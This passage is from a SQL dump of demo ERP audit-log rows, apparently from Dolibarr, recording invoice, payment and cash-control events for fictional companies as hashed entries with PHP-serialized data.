"localtax2_tx\";s:5:\"0.000\";s:8:\"total_ht\";s:10:\"9.00000000\";s:9:\"total_tva\";s:10:\"0.00000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:10:\"9.00000000\";s:9:\"info_bits\";s:1:\"0\";}i:4;O:8:\"stdClass\":17:{s:3:\"ref\";s:9:\"DOLICLOUD\";s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:10:\"9.00000000\";s:23:\"multicurrency_total_tva\";s:10:\"0.00000000\";s:23:\"multicurrency_total_ttc\";s:10:\"9.00000000\";s:3:\"qty\";s:1:\"1\";s:12:\"product_type\";s:1:\"1\";s:12:\"vat_src_code\";s:0:\"\";s:6:\"tva_tx\";s:5:\"0.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:8:\"total_ht\";s:10:\"9.00000000\";s:9:\"total_tva\";s:10:\"0.00000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:10:\"9.00000000\";s:9:\"info_bits\";s:1:\"0\";}i:5;O:8:\"stdClass\":17:{s:3:\"ref\";N;s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:11:\"10.00000000\";s:23:\"multicurrency_total_tva\";s:10:\"0.00000000\";s:23:\"multicurrency_total_ttc\";s:11:\"10.00000000\";s:3:\"qty\";s:1:\"1\";s:12:\"product_type\";s:1:\"0\";s:12:\"vat_src_code\";s:0:\"\";s:6:\"tva_tx\";s:5:\"0.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:8:\"total_ht\";s:11:\"10.00000000\";s:9:\"total_tva\";s:10:\"0.00000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:11:\"10.00000000\";s:9:\"info_bits\";s:1:\"0\";}}s:3:\"ref\";s:11:\"FA1909-0025\";s:11:\"note_public\";N;}',12,1,0,'2019-09-26 17:33:37','Alice Adminson',''),(24,'2019-10-04 08:27:00','BILL_VALIDATE',5.63000000,'aa16d46e6ea7376fe0f91a4aeb7b1d534ed351fae071ded64c393e61269c4c35','316e03ffb8327d837c8601e7dbafc91509581b0be9449a89827a14e6cfa2688a','facture',150,'FA6801-0010','2018-01-19 00:00:00','O:8:\"stdClass\":12:{s:10:\"thirdparty\";O:8:\"stdClass\":29:{s:4:\"name\";s:10:\"Indian SAS\";s:10:\"name_alias\";s:0:\"\";s:7:\"address\";s:13:\"1 alalah road\";s:3:\"zip\";N;s:4:\"town\";s:5:\"Delhi\";s:10:\"state_code\";N;s:5:\"phone\";N;s:3:\"fax\";N;s:5:\"email\";N;s:7:\"barcode\";N;s:7:\"idprof1\";s:0:\"\";s:7:\"idprof2\";s:0:\"\";s:7:\"idprof3\";s:0:\"\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:0:\"\";s:15:\"localtax1_assuj\";N;s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_assuj\";N;s:15:\"localtax2_value\";s:5:\"0.000\";s:8:\"managers\";N;s:7:\"capital\";s:13:\"5000.00000000\";s:11:\"typent_code\";s:8:\"TE_SMALL\";s:20:\"forme_juridique_code\";N;s:11:\"code_client\";s:11:\"CU1212-0007\";s:16:\"code_fournisseur\";s:11:\"SU1212-0005\";s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:24:\"21 Jump street..ll..ee \"\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";N;s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:4:\"date\";i:1516316400;s:10:\"ref_client\";N;s:4:\"type\";s:1:\"0\";s:8:\"total_ht\";d:5;s:9:\"total_tva\";d:0.63;s:9:\"total_ttc\";d:5.63;s:12:\"revenuestamp\";s:10:\"0.00000000\";s:11:\"invoiceline\";a:1:{i:1;O:8:\"stdClass\":17:{s:3:\"ref\";s:7:\"PEARPIE\";s:18:\"multicurrency_code\";N;s:22:\"multicurrency_total_ht\";s:10:\"5.00000000\";s:23:\"multicurrency_total_tva\";s:10:\"0.63000000\";s:23:\"multicurrency_total_ttc\";s:10:\"5.63000000\";s:3:\"qty\";s:1:\"1\";s:12:\"product_type\";s:1:\"0\";s:12:\"vat_src_code\";s:0:\"\";s:6:\"tva_tx\";s:6:\"12.500\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:8:\"total_ht\";s:10:\"5.00000000\";s:9:\"total_tva\";s:10:\"0.63000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:10:\"5.63000000\";s:9:\"info_bits\";s:1:\"0\";}}s:3:\"ref\";s:11:\"FA6801-0010\";s:11:\"note_public\";N;}',12,1,0,'2019-10-04 10:27:00','Alice Adminson',''),(25,'2019-10-04 08:28:14','PAYMENT_CUSTOMER_CREATE',5.63000000,'fa5c9b4bb975af8401744390d47e62218a7ec47a2e96c60f5e58d7f6be38dc44','9bfe069dc130dd71c31f914ff0afa7835fd40932790ac88be0005638342ccb87','payment',39,'PAY1801-0005','2018-01-19 12:00:00','O:8:\"stdClass\":8:{s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:24:\"21 Jump street..ll..ee \"\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";N;s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:3:\"ref\";s:12:\"PAY1801-0005\";s:4:\"date\";i:1516359600;s:9:\"type_code\";s:3:\"LIQ\";s:11:\"payment_num\";N;s:4:\"note\";s:0:\"\";s:12:\"payment_part\";a:1:{i:1;O:8:\"stdClass\":3:{s:6:\"amount\";s:4:\"5.63\";s:10:\"thirdparty\";O:8:\"stdClass\":29:{s:4:\"name\";s:10:\"Indian SAS\";s:10:\"name_alias\";s:0:\"\";s:7:\"address\";s:13:\"1 alalah road\";s:3:\"zip\";N;s:4:\"town\";s:5:\"Delhi\";s:10:\"state_code\";N;s:5:\"phone\";N;s:3:\"fax\";N;s:5:\"email\";N;s:7:\"barcode\";N;s:7:\"idprof1\";s:0:\"\";s:7:\"idprof2\";s:0:\"\";s:7:\"idprof3\";s:0:\"\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:0:\"\";s:15:\"localtax1_assuj\";N;s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_assuj\";N;s:15:\"localtax2_value\";s:5:\"0.000\";s:8:\"managers\";N;s:7:\"capital\";s:13:\"5000.00000000\";s:11:\"typent_code\";s:8:\"TE_SMALL\";s:20:\"forme_juridique_code\";N;s:11:\"code_client\";s:11:\"CU1212-0007\";s:16:\"code_fournisseur\";s:11:\"SU1212-0005\";s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:7:\"invoice\";O:8:\"stdClass\":9:{s:4:\"date\";i:1516316400;s:10:\"ref_client\";N;s:4:\"type\";s:1:\"0\";s:8:\"total_ht\";s:10:\"5.00000000\";s:9:\"total_tva\";s:10:\"0.63000000\";s:9:\"total_ttc\";s:10:\"5.63000000\";s:12:\"revenuestamp\";s:10:\"0.00000000\";s:3:\"ref\";s:11:\"FA6801-0010\";s:11:\"note_public\";N;}}}s:6:\"amount\";d:5.63;}',12,1,0,'2019-10-04 10:28:14','Alice Adminson',''),(26,'2019-12-22 19:01:48','CASHCONTROL_VALIDATE',400.00000000,'bb14150a5ea65d97f9d22f6bc3d3d357ccfb2aa681f2ecbcc81a9d870260c58c','7b03131558731b2e7b4000189214b132f4323621c596d4418cfeba233a085e83','cashcontrol',1,'1','2019-12-22 23:01:02','O:8:\"stdClass\":37:{s:9:\"mycompany\";O:8:\"stdClass\":26:{s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:0;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:0;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;}s:7:\"element\";s:11:\"cashcontrol\";s:2:\"id\";i:1;s:7:\"opening\";d:-324.29;s:6:\"status\";i:1;s:10:\"year_close\";i:2019;s:11:\"month_close\";i:11;s:9:\"day_close\";N;s:9:\"posmodule\";s:7:\"takepos\";s:9:\"posnumber\";s:1:\"1\";s:4:\"cash\";d:400;s:6:\"cheque\";d:0;s:4:\"card\";d:0;s:10:\"date_valid\";i:1577041308;s:13:\"date_creation\";i:1577041262;s:17:\"date_modification\";N;s:10:\"import_key\";N;s:13:\"array_options\";a:0:{}s:6:\"canvas\";N;s:7:\"project\";N;s:10:\"fk_project\";N;s:10:\"thirdparty\";N;s:4:\"user\";N;s:3:\"ref\";s:1:\"1\";s:7:\"ref_ext\";N;s:6:\"statut\";N;s:10:\"fk_account\";N;s:11:\"note_public\";N;s:12:\"note_private\";N;s:4:\"note\";N;s:8:\"comments\";a:0:{}s:15:\"date_validation\";N;s:16:\"next_prev_filter\";N;s:6:\"entity\";i:1;s:5:\"label\";N;s:3:\"tms\";i:1577030462;s:13:\"fk_user_valid\";s:2:\"12\";}',12,1,0,'2019-12-22 23:01:48','Alice Adminson',''),(34,'2020-01-10 00:42:47','PAYMENT_VARIOUS_CREATE',10.00000000,'e20ec32652d7564cdca915e95528b68bd3b770b82defe64ead1af3f6dc6bc150','25514deeca716e41c02699d9466fc640f4b7da0a0c953637b542c555f9634f9b','payment_various',4,'4','2020-01-10 12:00:00','O:8:\"stdClass\":7:{s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:3:\"ref\";i:4;s:4:\"date\";i:1578643200;s:9:\"type_code\";s:3:\"VIR\";s:11:\"payment_num\";s:0:\"\";s:4:\"note\";s:0:\"\";s:6:\"amount\";i:10;}',12,1,0,'2020-01-10 04:42:47','Alice Adminson',''),(35,'2020-01-10 01:08:37','PAYMENT_VARIOUS_MODIFY',10.00000000,'94bd3491e8e553e6e633cd4a40c8c0ef3a6af0bd60df1d8e768d3c8c2a37b79b','eeadf2ffc7bd611e3b739e8825307f9e9cb2d9dddbd9e16b1f092fa5d881a5ca','payment_various',4,'4','2020-01-10 00:00:00','O:8:\"stdClass\":7:{s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:3:\"ref\";s:1:\"4\";s:4:\"date\";i:1578600000;s:9:\"type_code\";s:3:\"VIR\";s:11:\"payment_num\";s:0:\"\";s:4:\"note\";s:0:\"\";s:6:\"amount\";d:10;}',12,1,0,'2020-01-10 05:08:37','Alice Adminson',''),(36,'2020-01-10 01:08:43','PAYMENT_VARIOUS_MODIFY',10.00000000,'02ecc274221832fcbf8f525ed64f1391415a29dded01022a5a4c51cfb2c5ad49','c274f2f609af56bd40b74000eaa2f6866a734feb0fc262ce3431ac9f91a754e2','payment_various',4,'4','2020-01-10 00:00:00','O:8:\"stdClass\":7:{s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:3:\"ref\";s:1:\"4\";s:4:\"date\";i:1578600000;s:9:\"type_code\";s:0:\"\";s:11:\"payment_num\";s:0:\"\";s:4:\"note\";s:0:\"\";s:6:\"amount\";d:10;}',12,1,0,'2020-01-10 05:08:43','Alice Adminson',''),(37,'2020-01-10 01:17:51','PAYMENT_VARIOUS_MODIFY',10.00000000,'214ad5673f893c2da41a8c87ccbcae92dccf17c9d4a13b3d04a9497d21bf68b8','ffbebb278eaa1c75f0cf5afdd05c8367887615a7329f2b3ab628b8f0da10f9d8','payment_various',4,'4','2020-01-10 00:00:00','O:8:\"stdClass\":7:{s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:3:\"ref\";s:1:\"4\";s:4:\"date\";i:1578600000;s:9:\"type_code\";s:0:\"\";s:11:\"payment_num\";s:0:\"\";s:4:\"note\";s:0:\"\";s:6:\"amount\";d:10;}',12,1,0,'2020-01-10 05:17:51','Alice Adminson',''),(38,'2020-01-16 01:22:16','BILL_VALIDATE',123.00000000,'aae0a1eb8b3da6686020252194f47ce82301fb604ee213ae120a2885197735d5','b414061da9abbd2dec7153a7d53978c177c5c5f55ed8ace177a02e46e7a74312','facture',221,'AC2001-0001','2020-01-16 00:00:00','O:8:\"stdClass\":12:{s:10:\"thirdparty\";O:8:\"stdClass\":29:{s:4:\"name\";s:16:\"Magic Food Store\";s:10:\"name_alias\";s:0:\"\";s:7:\"address\";s:22:\"65 holdywood boulevard\";s:3:\"zip\";s:6:\"123456\";s:4:\"town\";s:7:\"BigTown\";s:10:\"state_code\";N;s:5:\"phone\";N;s:3:\"fax\";s:4:\"0101\";s:5:\"email\";s:18:\"myemail@domain.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:0:\"\";s:7:\"idprof2\";s:0:\"\";s:7:\"idprof3\";s:10:\"10/10/2010\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:0:\"\";s:15:\"localtax1_assuj\";N;s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_assuj\";N;s:15:\"localtax2_value\";s:5:\"0.000\";s:8:\"managers\";N;s:7:\"capital\";s:10:\"0.00000000\";s:11:\"typent_code\";s:10:\"TE_UNKNOWN\";s:20:\"forme_juridique_code\";N;s:11:\"code_client\";s:11:\"CU1301-0008\";s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"ES\";}s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:4:\"date\";i:1579129200;s:10:\"ref_client\";N;s:4:\"type\";s:1:\"3\";s:8:\"total_ht\";d:123;s:9:\"total_tva\";d:0;s:9:\"total_ttc\";d:123;s:12:\"revenuestamp\";s:10:\"0.00000000\";s:11:\"invoiceline\";a:1:{i:1;O:8:\"stdClass\":17:{s:3:\"ref\";N;s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:12:\"123.00000000\";s:23:\"multicurrency_total_tva\";s:10:\"0.00000000\";s:23:\"multicurrency_total_ttc\";s:12:\"123.00000000\";s:3:\"qty\";s:1:\"1\";s:12:\"product_type\";s:1:\"0\";s:12:\"vat_src_code\";s:0:\"\";s:6:\"tva_tx\";s:5:\"0.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:8:\"total_ht\";s:12:\"123.00000000\";s:9:\"total_tva\";s:10:\"0.00000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:12:\"123.00000000\";s:9:\"info_bits\";s:1:\"0\";}}s:3:\"ref\";s:11:\"AC2001-0001\";s:11:\"note_public\";N;}',12,1,0,'2020-01-16 02:22:16','Alice Adminson',''),(39,'2020-01-16 01:33:27','BILL_VALIDATE',20.50000000,'777eb88a0b91c6d376881534a7c84a9b9ee5a6d7efedbae3b0c00d7e36bacba9','b78e5b5909c49c575142b429f2d09abb2d19c5545f815a1cabe0f2ed80ded6e4','facture',224,'AC2001-0002','2020-01-16 00:00:00','O:8:\"stdClass\":12:{s:10:\"thirdparty\";O:8:\"stdClass\":29:{s:4:\"name\";s:16:\"Magic Food Store\";s:10:\"name_alias\";s:0:\"\";s:7:\"address\";s:22:\"65 holdywood boulevard\";s:3:\"zip\";s:6:\"123456\";s:4:\"town\";s:7:\"BigTown\";s:10:\"state_code\";N;s:5:\"phone\";N;s:3:\"fax\";s:4:\"0101\";s:5:\"email\";s:18:\"myemail@domain.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:0:\"\";s:7:\"idprof2\";s:0:\"\";s:7:\"idprof3\";s:10:\"10/10/2010\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:0:\"\";s:15:\"localtax1_assuj\";N;s:15:\"localtax1_value\";s:5:\"0.000\";s:15:\"localtax2_assuj\";N;s:15:\"localtax2_value\";s:5:\"0.000\";s:8:\"managers\";N;s:7:\"capital\";s:10:\"0.00000000\";s:11:\"typent_code\";s:10:\"TE_UNKNOWN\";s:20:\"forme_juridique_code\";N;s:11:\"code_client\";s:11:\"CU1301-0008\";s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"ES\";}s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack Zeceo\";s:7:\"capital\";s:5:\"10000\";s:11:\"typent_code\";N;s:20:\"forme_juridique_code\";s:0:\"\";s:11:\"code_client\";N;s:16:\"code_fournisseur\";N;s:7:\"ref_ext\";N;s:12:\"country_code\";s:2:\"IN\";}s:4:\"date\";i:1579129200;s:10:\"ref_client\";N;s:4:\"type\";s:1:\"3\";s:8:\"total_ht\";d:20.5;s:9:\"total_tva\";d:0;s:9:\"total_ttc\";d:20.5;s:12:\"revenuestamp\";s:10:\"0.00000000\";s:11:\"invoiceline\";a:1:{i:1;O:8:\"stdClass\":17:{s:3:\"ref\";N;s:18:\"multicurrency_code\";s:3:\"EUR\";s:22:\"multicurrency_total_ht\";s:11:\"20.50000000\";s:23:\"multicurrency_total_tva\";s:10:\"0.00000000\";s:23:\"multicurrency_total_ttc\";s:11:\"20.50000000\";s:3:\"qty\";s:1:\"1\";s:12:\"product_type\";s:1:\"0\";s:12:\"vat_src_code\";s:0:\"\";s:6:\"tva_tx\";s:5:\"0.000\";s:12:\"localtax1_tx\";s:5:\"0.000\";s:12:\"localtax2_tx\";s:5:\"0.000\";s:8:\"total_ht\";s:11:\"20.50000000\";s:9:\"total_tva\";s:10:\"0.00000000\";s:15:\"total_localtax1\";s:10:\"0.00000000\";s:15:\"total_localtax2\";s:10:\"0.00000000\";s:9:\"total_ttc\";s:11:\"20.50000000\";s:9:\"info_bits\";s:1:\"0\";}}s:3:\"ref\";s:11:\"AC2001-0002\";s:11:\"note_public\";N;}',12,1,0,'2020-01-16 02:33:27','Alice Adminson',''),(40,'2020-01-16 01:36:48','PAYMENT_CUSTOMER_CREATE',20.50000000,'cb03ceef89e1630e5a3ba8b3b1ca6c77e42b97fc2884a661c04e9e5c8b3afa1e','18bed0f0566b20ffa32c49c901cfc8b46485ef2172b22c676cef07ce8bd2d90b','payment',40,'PAY2001-0006','2020-01-16 12:00:00','O:8:\"stdClass\":8:{s:9:\"mycompany\";O:8:\"stdClass\":29:{s:4:\"name\";s:12:\"MyBigCompany\";s:10:\"name_alias\";N;s:7:\"address\";s:15:\"21 Jump street.\";s:3:\"zip\";s:5:\"75500\";s:4:\"town\";s:6:\"MyTown\";s:10:\"state_code\";s:0:\"\";s:5:\"phone\";s:8:\"09123123\";s:3:\"fax\";s:8:\"09123124\";s:5:\"email\";s:24:\"myemail@mybigcompany.com\";s:7:\"barcode\";N;s:7:\"idprof1\";s:6:\"123456\";s:7:\"idprof2\";s:7:\"ABC-DEF\";s:7:\"idprof3\";s:9:\"15E-45-8D\";s:7:\"idprof4\";s:0:\"\";s:7:\"idprof5\";s:0:\"\";s:7:\"idprof6\";s:0:\"\";s:9:\"tva_intra\";s:10:\"FR12345678\";s:15:\"localtax1_assuj\";i:1;s:15:\"localtax1_value\";N;s:15:\"localtax2_assuj\";i:1;s:15:\"localtax2_value\";N;s:8:\"managers\";s:10:\"Zack 